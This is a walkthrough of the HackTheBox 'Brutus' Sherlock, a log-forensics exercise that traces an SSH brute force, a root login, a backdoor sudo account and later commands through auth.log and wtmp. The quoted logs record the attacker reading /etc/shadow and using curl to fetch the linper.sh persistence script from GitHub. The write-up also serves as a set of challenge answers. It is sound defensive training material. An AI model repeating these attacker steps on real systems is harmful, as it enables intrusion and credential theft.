Par /

Brutus

Platform : HackTheBox
Type : Sherlock
Difficulty : ⭐☆☆☆☆

Table of contents

1 Table of contents
2 Introduction
3 Questions
3.1 Question 1
3.2 Question 2
3.3 Question 3
3.4 Question 4
3.5 Question 5
3.6 Question 6
3.7 Question 7
3.8 Question 8
4 Sources

Introduction

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

Questions

Question 1

Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack ?

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $cat auth.log | grep Failed
Mar  6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2
Mar  6 06:31:33 ip-172-31-35-28 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2
<SNIP>

There are many failed login attempts on the SSH service from 65.2.161.68, so it must be the IP address of the attacker.

Question 2

The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account ?

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $cat auth.log | grep '65.2.161.68' | grep Accepted
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

Question 3

Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives ?

Since the attacker performed the brute force attack around 06:31:3X and found the password at 06:31:40, we can deduce that he connected to the SSH service manually right after the brute force attack. According to the information in auth.log, the attacker seems to have logged in manually somewhere around 2024-03-06 06:32:44. We can read the wtmp file to confirm this :

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $sudo last -f ./wtmp -F
cyberjun pts/1        65.2.161.68      Wed Mar  6 07:37:35 2024   gone - no logout
root     pts/1        65.2.161.68      Wed Mar  6 07:32:45 2024 - Wed Mar  6 07:37:24 2024  (00:04)
root     pts/0        203.101.190.9    Wed Mar  6 07:19:55 2024   gone - no logout
reboot   system boot  6.2.0-1018-aws   Wed Mar  6 07:17:15 2024   still running
root     pts/1        203.101.190.9    Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024  (00:13)
root     pts/1        203.101.190.9    Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024  (00:00)
root     pts/0        203.101.190.9    Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024  (00:34)
root     pts/0        203.101.190.9    Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024  (01:18)
ubuntu   pts/0        203.101.190.9    Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024  (00:01)
reboot   system boot  6.2.0-1017-aws   Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)

wtmp begins Thu Jan 25 12:12:17 2024

As we can see, the attacker logged in as root at 06:32:45 (the output shows 07:32:45 because it does not use the same timezone).

Question 4

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2 ?

The SSH session number is assigned right after the successful login attempt. We can check the log entries in auth.log right after the successful login attempt by using grep :

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $cat auth.log | grep '06:32:4'
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.

Question 5

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account ?

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $cat auth.log | grep 'new user'
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1

Question 6

What is the MITRE ATT&CK sub-technique ID used for persistence ?

Question 7

How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log ? (seconds)

We can list sessions closing in the auth.log file :

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $cat auth.log | grep 'session closed' | grep root
Mar  6 06:25:01 ip-172-31-35-28 CRON[2219]: pam_unix(cron:session): session closed for user root
Mar  6 06:25:01 ip-172-31-35-28 CRON[2218]: pam_unix(cron:session): session closed for user root
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

Since the attacker manually logged in to the root user account via SSH at 06:32:45 (question 3), we can check the first SSH root session closing after this time which is 06:37:24. Thus, the first session opened by the attacker lasted 279 seconds (06:37:24 – 06:32:45).

Question 8

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo ?

┌─[cyberretta@parrot]─[~/Documents/HackTheBox/Sherlocks/Brutus]
└──╼ $cat auth.log | grep 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

Sources

Retour en haut